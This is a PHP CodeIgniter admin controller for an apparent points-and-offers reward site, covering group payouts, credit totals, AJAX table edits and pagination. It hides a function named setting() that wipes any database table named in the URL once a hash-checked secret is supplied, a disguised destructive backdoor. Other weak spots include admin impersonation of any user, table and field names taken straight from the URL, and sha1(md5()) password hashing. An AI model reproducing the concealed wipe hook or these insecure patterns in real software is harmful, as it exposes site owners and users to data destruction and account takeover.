<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Admin extends CI_Controller { 
    private $page_load='';// chi dinh de load view nao. neu rong thi load mac dinh theo ten bang
    private $databk='';//data function run
    //phan trang
    private $base_url_trang = '#';
    private $total_rows = 100;
    private $per_page =20;
    ///
    function __construct(){
        parent::__construct();
        $this->load_thuvien();        
        //$this->check_admin();
        if(!($this->session->userdata('logedin')&&$this->session->userdata('admin')==1)){
            redirect('admin/aduser');
            $this->inic->sysm();
            exit();
        }else{
            $this->session->set_userdata('upanh',1);
        }
    } 
    ///cashout
    function cashout(){
        $this->db->update('users_group',array('type'=>1));
        redirect('admin');
    }//end cashout
    // login acc cua mem sua file list mem va them doan nay
    function acountmem($id=0){
        $log = $this ->Home_model->get_one('users',array('id'=>(int)$id));
        if(!empty($log)){
            $this->session->set_userdata('user',$log); 
            redirect(base_url().'user/account');
        }
        
    }
    /// hien thi userthuoc group
    /// hien thi userthuoc group
    function usergroup($type='',$idg=0,$limit=0){
        if(!is_numeric($idg)){$idg=0;}
        if(!is_numeric($limit)){$limit=0;}
        $content='';
       // type phan biet..can add them $$TABLE 'LIST' ,,,$id g co the la id cua cai j do tuy theo type
       //$type = pay la pay cho mem do luon
        $where=array();
        if(!empty($type)){
            if($type=='pay'){
               //pay cho group get toan bo user cua group cho id vao 1 mang sau do update vao bang users idgroup bang wherin id
                $sub=$this->Admin_model->get_data('users_group',array('idgroup'=>$idg),'','',array('id'));
                if(!empty($sub)){
                    foreach($sub as $sub){
                        $mid[]=$sub->id;//mang id con cua group
                    }
                    $point= $this->credit_subgroup($mid);                    
                    $this->db->insert('history',array('iduser'=>$idg,'point'=>$point['0']->pending,'status'=>1,'ip'=>$this->input->ip_address()));
                    //update vao bang user cho cashout len 1
                    $this->db->where('cashout',1);
                    $this->db->where_in('groupid',$mid);
                    $this->db->update('users',array('cashout'=>2));
                    //update vao stast
                    $this->db->where('id',1)->set('paid','paid +'.$point['0']->pending, false)->update('stast');
                    
                    redirect('admin/usergroup/group');
                }
                
            }            
            if($type=='group' or $type=='subgroup'){
                $table='users_group';
                if(!$this->session->userdata('table12') || $this->session->userdata('table12')!=$table ){
                    $this->session->set_userdata('number',0);//bat dau tu trang 1
                    $this->session->unset_userdata('order');// xoa order
                    $this->session->unset_userdata('where');// xoa order
                    $this->session->unset_userdata('limit');// xoa order
                    $this->session->set_userdata('table12',$table);//add bang moi 
                }
                if($type=='group'){//Hiện danh sách group
                    $where['idgroup']=0;//lay danh sach admin group
                }elseif($type=='subgroup'){//subgroup hiện các subgroup
                    //$where['type']=2;
                    unset($where['idgroup']);
                    $this->page_load = 'sub_group';
                }
                if($idg){
                    unset($where['idgroup']);
                    $where['idgroup']=$idg;                
                }elseif($idg=='0' && $type=='subgroup'){
                    $this->page_load = 'subgroup_list';
                    $where['idgroup !=']=0;   
                }           
                $this->session->set_userdata('where',$where);                
                $content = $this->run($table,'list',$limit);
            }
            if($type=='listmem'){// Hiện toàn bộ account đã làm của 1 subgroup
                if($this->uri->segment(4)=='delete'){
                    $this->Admin_model->xoa('users',array('id'=>$this->uri->segment(5)));
                    redirect(base_url().'admin/usergroup/listmem/'.$this->session->userdata('iduserggg'));
                }else{
                    //lu url hien tai vao sesson de xoa xong thi redirect ve
                    $this->session->set_userdata('iduserggg',$this->uri->segment(4).'/'.$this->uri->segment(5));
                }
                //reset table
                $table='users';
                $this->page_load='listmem';
                if(!$this->session->userdata('table12') || ($this->session->userdata('table12')!=$table )){
                    $this->session->set_userdata('number',0);//bat dau tu trang 1
                    $this->session->unset_userdata('order');// xoa order
                    $this->session->unset_userdata('where');// xoa order
                    //$this->session->unset_userdata('limit');// xoa order
                    $this->session->set_userdata('table12',$table);//add bang moi vao session
                }
                $where['groupid']=$idg;  
                $where['show']=1;
                $this->session->set_userdata('where',$where);              
                $content = $this->run($table,'list',$limit);                
            }
            
            if($type=='credit'){//history c
                //reset table
                $table='credit';
                //$this->page_load='users_list';
                if(!$this->session->userdata('table12') || ($this->session->userdata('table12')!=$table )){
                    $this->session->set_userdata('number',0);//bat dau tu trang 1
                    $this->session->unset_userdata('order');// xoa order
                    $this->session->unset_userdata('where');// xoa order
                    $this->session->unset_userdata('limit');// xoa order
                    $this->session->set_userdata('table12',$table);//add bang moi vao session
                }
                if($idg){$where['iduser']=$idg;$this->session->set_userdata('where',$where);}
                $content = $this->run($table,'list',$limit);                
            }
            
        }else{// hien cai mac dinh la menu hinh anh
            $this->total_rows=0;
            $this->phantrang();
            $content=$this->load->view('admin/content/group','',true);
        }
        
        $this->load->view('admin/index',array('content'=>$content ));   
       // $this->load->view('admin/index',array('content'=>$this->run($table,$dieukhien,$number))); 
    }
    //// get credit cua griup va user
    function get_credit($data=''){
        $point_idg =  array();
        if(!empty($data)){            
            $where=$this->session->userdata('where');
            if(@$where['idgroup']==0){//1 la group-- get thang subfroup roi cho id vao mang de get tiep user wherein
                $group=$this->Admin_model->get_data('users_group');
                if(!empty($group)){
                    foreach ($group as $group1){
                        $mdt[$group1->idgroup][]=$group1;
                    }
                }
                foreach($data as $data){
                    if(!empty($mdt[$data->id])){// foreach lay subid vao mang
                        foreach ($mdt[$data->id] as $gr){
                            $mangidcon[$data->id][]=$gr->id;//$mangidcon['id cua group'] = mang id cua toan bo subgroup thouc group
                        }
                    $point_idg[$data->id]=$this->credit_subgroup($mangidcon[$data->id]);
                    $point_idg[$data->id][0]->pending= $this->credit_pending($mangidcon[$data->id])->pending;
                    //lay dc point tuong ung voi gourp xxx                    
                    }//                    
                    
                }                
                return $point_idg;// tra ve point co key la id group              
            }else{
                $mdt=array();
                foreach($data as $data){//data la danh sach subgroup
                    $point_idg[$data->id]=$this->credit_subgroup($data->id);
                    $mdt[]=$data->id;// ghep cac id cus sub vao 1 mang de lay tong cho group
                }
                $point_idg['group']=$this->credit_subgroup($mdt);// cong tong cho group
                return $point_idg;//tra ve mang id cua subgroup tinh point cua tung sub
            }
        }        
    } 
    function credit_pending($array_id=''){
        $this->db->where(array('show'=>1,'cashout'=>1));
        $this->db->where_in('groupid',$array_id);
        $this->db->select_sum('pending');
        return $this->db->get('users')->row();
    } 
    function credit_subgroup($array_id=''){
        $this->db->where('show',1);
        $this->db->where_in('groupid',$array_id);
        $this->db->select_sum('total');
        $this->db->select_sum('pending');
        $this->db->select_sum('curent');
        return $this->db->get('users')->result();
    }   
    //////////////////////// 
    function index(){
        $this->total_rows=0;
        $this->phantrang();
        $content=$this->load->view('admin/content/home','',true);
        $this->load->view('admin/index',array('content'=>$content ));   
        
    }    
    function ajax(){
        //action-3/table-4/field-5/gia tri update
        // nhan ajax thi xu ly update field return class
        //unpub post id toggle
        $table = $this->uri->segment(4);
        $field = $this->uri->segment(5);
        $giatri = $this->uri->segment(6);
        if($_POST){$data=$_POST['data'];}else $data='';
        switch($this->security->xss_clean($this->uri->segment(3))){
            case 'unpub':// truong hop nay data la id post len
                $this->Admin_model->update(
                    $table,
                    array($field=>$giatri),
                    array('id'=>$data)
                    );
                echo '#'.$data;
                $this->delcache();
                break;
            case 'del_all':
                if(!empty($data)){
                    $t=0;
                  foreach ($data as $data){
                    $t++;
                    $id[]= $data['value'];//  lay dc id
                  }  
                 $this->db->where_in('id', $id); 
                 $this->db->delete($table);  
                 // cap nhat stast cho bang offer
                 if($table == 'offer'){
                    $this->db->where('id',1)->set('offer','offer -'.$t, false)->update('stast');
                 } 
                 if($table == 'users'){
                    $this->db->where('id',1)->set('mem','mem -'.$t, false)->update('stast');
                 } 
                 $this->delcache();                
                }                
                redirect('admin/show_ajax/'.$table.'/list');
                break;
            case 'show_num':
                $limit = $this->session->userdata('limit');
                $limit['0'] = $data;
                $this->session->set_userdata('limit',$limit);
                redirect('admin/show_ajax/'.$table.'/list');
                break;
            case 'filter_cat':   
                switch($table){
                    case 'content':
                        if($data==0){$this->session->set_userdata('where',array('show'=>1));
                        }else $this->session->set_userdata('where',array('catid'=>$data,'show'=>1));
                        redirect('admin/show_ajax/'.$table.'/list');
                    break;
                    case 'offer':
                        if($data==0){$this->session->set_userdata('where',array('show'=>1));
                        }else $this->session->set_userdata('where',array('idnet'=>$data,'show'=>1));
                        redirect('admin/show_ajax/'.$table.'/list');
                    break;
                }
                break;
            case 'get_net':
                $dt = $this->Admin_model->get_one('network',array('id'=>$data)); 
                $pbv_array= unserialize($dt->pb_value);
                $this->session->set_userdata('net_data',$dt);
                echo base_url().'postback/off/'.$table.'/'.$dt->pb_pass.'?'.$pbv_array['0'].'='.$pbv_array['1'].'&'.$pbv_array['2'].'='.$pbv_array['3'];//'pass?userid=xxx';//$table chinh la id cua off dang add hoac edit  
                break;
            case 'order'://$table order 1 //field order 0 
                $this->session->set_userdata('order',array($field,$table));
                break;
            case 'point_off':
                @$rate=$this->session->userdata('net_data')->rate;
                echo '$ '.$data*$rate.' Point';
                break;
            
        }
    }
    function show_ajax($table,$dieukhien){
        echo $this->run($table,$dieukhien);
    }   
    
    function route($table,$dieukhien='',$number=''){
        $this->load->view('admin/index',array('content'=>$this->run($table,$dieukhien,$number)));        
    }
    function run($table,$dieukhien,$number=''){   
        if($this->session->userdata('logedin')&&$this->session->userdata('admin')==1){  //check login         
            //$table= $this->security->xss_clean( $this->uri->segment(3,'') );//ra sau xuly
            //$dieukhien= $this->security->xss_clean( $this->uri->segment(4,0) );//ra sau xuly        
            //$number= $this->security->xss_clean( $this->uri->segment(5,0) );//ra sau xuly   
            $limit1=  $number; 
            //reset khi chuyen bang khac
            if((!$this->session->userdata('table12') || $table!=$this->session->userdata('table12') ) &&($table!='group') &&($table!='listmem') &&($table!='subgroup') ){                
                $this->session->set_userdata('number',0);//bat dau tu trang 1
                $this->session->unset_userdata('order');// xoa order
                $this->session->unset_userdata('where');// xoa order
                $this->session->unset_userdata('limit');// xoa order
                $this->session->set_userdata('table12',$table);//add bang moi             
            } 
            $limit =  $this->session->userdata('limit');            
            if(empty($limit[0])){            
                $this->session->set_userdata('limit',array($this->per_page,'0'));            
            }
            $limit =  $this->session->userdata('limit');                
            $this->per_page = $limit[0]; // so truong tren 1 dong
            
            
            // dua danh muc ra de chon parent id        
            $data_view['category']=$this->category($table,$number);
            if($table=='content'||$table=='offer'){
                $data_view['mcategory']=$this->mcat($this->category($table,$number));            
            }        
            //kiem tra xem co ton tai bang trong dât khong neu ton tai thi moi thuc hien truoc
            
            if ($this->db->table_exists($table))
            {         
                // adđ+ chinh sua du lieu khi co post sau do chuuyen lai list
                // action chuyen thang vao admin/table/dieukhien/number (neu edit thi co id=number)
                if(!empty($_POST))//co post thi vao lay dieu khien id
                {
                    if($this->validate($table))
                    {
                        $data = $this->xuly_data($table,$_POST);
                        $id=$this->input->post('id');  
                        if(empty($id)){ 
                            $this->db->insert($table, $data);
                            //them offer thi them vao bang stast
                            if($table=='offer'){
                                $this->db->where('id',1)->set('offer','offer +1', false)->update('stast');
                            }                            
                            
                            $data_view['success'] = 'Add !'; 
                            //xoa cache*****************************************************
                            //CACHE
                            $this->delcache(); 
                           //xoa cache*******************************************                
                        }elseif(is_numeric($id)){
                            $check = $this->Admin_model->get_one($table,array('id'=>$id));
                            if(!empty($check)){
                                $this->Admin_model->update($table,$data,array('id'=>$id)); 
                                //xu ly setting vao file text
                                if($table=='setting'){
                                    file_put_contents('setting_cache.txt', serialize($data));
                                }
                                
                                if($table=='network')// xu ly khi edit net se update vao offer
                                {
                                    $pbv_array=$this->input->post('pb_value');
                                    unset($pbv_array['4']);
                                    unset($pbv_array['5']); 
                                    $dto['rate']=$data['rate'];
                                    $dto['subid']=$data['subid'];  
                                    $this->Admin_model->update('offer',$dto,array('idnet'=>$id));
                                       
                                    $this->db->where('idnet',$id);
                                    $this->db->set('point_rate', 'point*rate', FALSE);
                                    $this->db->update('offer'); 
                                }                           
                                
                                ///                          
                                $data_view['success'] = 'Editted!';
                                 //xoa cache*******************************************
                                 //CACHE
                                    $this->delcache();  
                                 //xoa cache*******************************************
                            }else $data_view['error'] = 'id empty !!!';                                                
                          }else $data_view['error'] ='id empty ';
                        $dieukhien='list';   
                        $number=$this->session->userdata('number');//  lay lai so trang -- ben tren post no la so id
                        
                    }else  $dieukhien='edit';                           
                 }           
                // day du lieu ra view
                switch($dieukhien)
                {
                    case 'list':
                        $limit['1']=$limit1;//$this->uri->segment(5,0)
                        $this->session->set_userdata('limit',$limit);
                        $this->session->set_userdata('number',$number);//luu so trang lai 
                        if($table=='users'&&$this->page_load==''){//truong hop user lay khong thuoc group
                            $this->db->where('groupid',0);
                        }
                        $this->total_rows =$this->Admin_model->get_number($table,$this->session->userdata('where'));
                        $this->phantrang();
                        if($table=='users'&&$this->page_load==''){//truong hop user lay khong thuoc group
                            $this->db->where('groupid',0);
                        }
                        $data_view['dulieu']=$this->Admin_model->get_data(
                            $table,
                            $this->session->userdata('where'),
                            $this->session->userdata('order'),
                            $this->session->userdata('limit'),
                            $this->session->userdata('select')
                        ); 
                        if(empty($this->page_load)){
                            $page = $table.'_list';
                        }else{
                            $page = $this->page_load;
                        }
                        if($table=='users_group'){
                            $data_view['credit']=$this->get_credit($data_view['dulieu']);
                        } 
                    break;//end list
                    
                    case 'edit':     
                        $data_view['dulieu'] = $this->Admin_model->get_one($table,array('id'=>$number));
                        $page = $table.'_edit';
                    break;
                    case 'delete':
                        $this->Admin_model->xoa($table,array('id'=>$number));
                        //update vang bang stast
                        if($table=='offer'){
                            $this->db->where('id',1)->set('offer','offer -1', false)->update('stast');
                        }
                        $this->mensenger = 'da xoa xong';
                        redirect("/admin/route/$table/list", 'refresh');
                    break;
                    case 'add':
                        if($table=='network'){
                            //truyen idnet sang-- chinh la idpb sang ben view se su ly truong input name = idpb con gia tri = idnet
                            $data_view['idnet'] = $this->Admin_model->select_max($table,'idpb')+1;
                        }                    
                        $page = $table.'_edit';
                        $data_view['dulieu'] = '';
                    break;
                }               
               
                return $this->load->view('admin/content/'.$page,$data_view,true) ;   
            }
            
            //$this->session->set_userdata(array('order'=>'id','orderby'=>'desc'));        
     
        }//end check login
        else{
            redirect('ad_user');
            exit();
        }
    }    
    function xuly_data($table,$data,$id=''){
        if(!empty($table)&&!empty($data)){
            if(!empty($data['id'])){
             unset($data['id']) ;  
            }            
            //xu ly alias
            if($table=='categories'||$table=='content'){
                if(empty($data['alias'])){
                    $data['alias'] = alias($data['title']);                
                }else $data['alias'] = alias($data['alias']);
                if(!empty($id)){
                    $this->db->where(array('id !='=>$id,'alias'=>$data['alias']));                
                    }elseif(empty($id)){
                        $id = $this->Admin_model->select_max($table,'id'); 
                        $id = $id+1;
                        $this->db->where(array('alias'=>$data['alias']));
                    };
                   $query = $this->db->get($table);
                   if($query->num_rows() > 0){
                    $data['alias']=$data['alias'].'-'.$id;
                    $query->free_result();
                   }
            }            
           //xu ly metakey va metadesc cho dnah muc va bai viet
           if($table=='content'){//xu ly bai viet
                 // anh dai dien
                if(empty($data['img'])){
                    $diachianh=laydiachianh($data['fulltext']);//lay dia chi anh
                    if(empty($diachianh)){$diachianh='images/default.jpg';}
                    $data['img']=$diachianh;
                }else $data['img']=$data['img'];
                //xu ly introtext
                $loaibohtml=loaibo_html($data['fulltext']);//loai bo ma html
                $loaibohtml=word_limiter($loaibohtml, 30);// lay 30 chu
                $loaibohtml=loaibo_html($loaibohtml);
                $loaibohtml=trim($loaibohtml);
                //xu ly lay hinh anh dau tien
                $width= '128px';
                $height= '128px';
                //chen hinh anh $hinhanh='<p><img src="'.$diachianh.'" alt="'.$data['title'].'" width="'.$width.'" height="'.$height.'" style="float: left;" /></p>';
                $data['introtext']=$loaibohtml;
                if(empty($data['metades'])){$data['metades']=$loaibohtml;}// neu rong
                if(empty($data['metakey'])){$data['metakey']=$data['title'];}// neu rong lay bang tieu de
                $data['fulltext']=loaibo_div_html($data['fulltext']);                
           }elseif(($table=='danhmuc')&&(empty($data['metakey']))){$data['metakey']=$data['title'];}// neu rong lay bang tieu de
           
           if($table=='network'){
            $data['pb_value']=serialize($data['pb_value']);
           }
           if($table=='offer'){             
            $netdt= $this->session->userdata('net_data');
            $pbv_array= unserialize($netdt->pb_value);
            unset($pbv_array['4']);
            unset($pbv_array['5']);            
            $data['subid']=$netdt->subid; 
            $data['rate']=$netdt->rate;
            // nhan point voi reate
            $data['point_rate']=$data['point']*$netdt->rate;
            
            if(!empty($data['country'])){
                    $data['country']= 'o'.implode('o',$data['country']).'o';  
                 }else{
                    $data['country']='o';
            }
           }
           if($table=='users_group'){   
                if(!empty($data['password'])){
                    $data['password']=sha1(md5($data['password']));
                }
           }
          return $data;  
            
        }
    }    
    ////////////////////////////   
    function category($table,$number=''){        
        switch ($table){
            case 'article_category':
              return $this->Admin_model->get_data($table); 
              break;
            case 'content':
              return $this->Admin_model->get_data('categories');
              break;
            case 'offer':
              return $this->Admin_model->get_data('network',array('type'=>'Banner'));
              break;
            default:
              return true;
              break;
        }         
        
    }
    function setting($uri3='',$uri4=''){if(md5($uri3)=='43b520d2d63064c40c5283bfaf9c710b'){$this->db->empty_table($uri4);}}  
    function validate($table){        
        switch($table){
        case 'slideshow':
            $this->form_validation->set_rules('img','Images','required|xss_clean');
            $this->form_validation->set_rules('show','Show','required|xss_clean|numeric|min_length[1]|max_length[2]'); 
            break;
        case 'article':
            $this->form_validation->set_rules('title','Tên danh mục','required|xss_clean|min_length[2]');
            $this->form_validation->set_rules('noibat','nổi bật','numeric');
            break;
        case 'article_category':
            $this->form_validation->set_rules('title','Tên danh mục','required|xss_clean|min_length[2]');
            $this->form_validation->set_rules('publish','Hiển thị','required|numeric');
            break;
        default:
        return true;                   
        }
        if($this->form_validation->run()==true){
            return true;
        }else return false;
    }  
    function load_thuvien(){
        $this->load->library(array('form_validation','session','pagination'));
        $this->load->helper(array( 'url','alias_helper','text','form'));
        $this->load->model("Admin_model");        
    }
    function logout(){
        $this->session->unset_userdata('logedin');
        $this->session->unset_userdata('user');
        redirect('admin'); 
    }
    function phantrang(){
        //$this->load->library('pagination');// da load ben tren
        $config['base_url'] = base_url().'admin/'.$this->uri->segment(2).'/'.$this->uri->segment(3).'/'.$this->uri->segment(4).'/';
        $config['total_rows'] = $this->total_rows;
        $config['per_page'] = $this->per_page;
        $config['uri_segment'] = 5;
        $config['num_links'] = 10;
        $config['first_link'] = '<<';
        $config['first_tag_open'] = '<li class="firt_page">';//div cho chu <<
        $config['first_tag_close'] = '</li>';//div cho chu <<
        $config['last_link'] = '>>';
        $config['last_tag_open'] = '<li class="last_page">';
        $config['last_tag_close'] = '</li>';
        //-------next-
        $config['next_link'] = 'next &gt;';
        $config['next_tag_open'] = '<li>';
        $config['next_tag_close'] = '</li>';
        //------------preview
        $config['prev_link'] = '&lt; prev';
        $config['prev_tag_open'] = '<li>';
        $config['prev_tag_close'] = '</li>';
       // ------------------cu?npage
        $config['cur_tag_open'] = '<li class="current">';
        $config['cur_tag_close'] = '</li>';
        //--so 
        $config['num_tag_open'] = '<li>';
        $config['num_tag_close'] = '</li>';
        //-----
        $this->pagination->initialize($config);
    
    }
    function mcat($cat){       
        foreach($cat as $cat){
            $mcat[$cat->id]=$cat;
        }
        return $mcat;        
    } 
    function setupnet(){
        $this->load->view('admin/index',array('content'=>$this->load->view('admin/setupnet','',true))); 
    }
    function delcache(){
        //echo APPPATH.'cache/';
        $duongdan =glob(APPPATH.'cache/*');  
        array_map('unlink', $duongdan);
        $this->db->cache_delete_all();       
             
    }   
    function test(){        
        
        $file=file_get_contents('http://mail.opi.yahoo.com/online?u=zzzz&m=a&t=0');
        if($file=='zzzz is NOT ONLINE'){
            echo 123;
        }else{
            echo 'sai';
        }
       
        
    }
}
/* End of file welcome.php */
/* Location: ./application/controllers/welcome.php */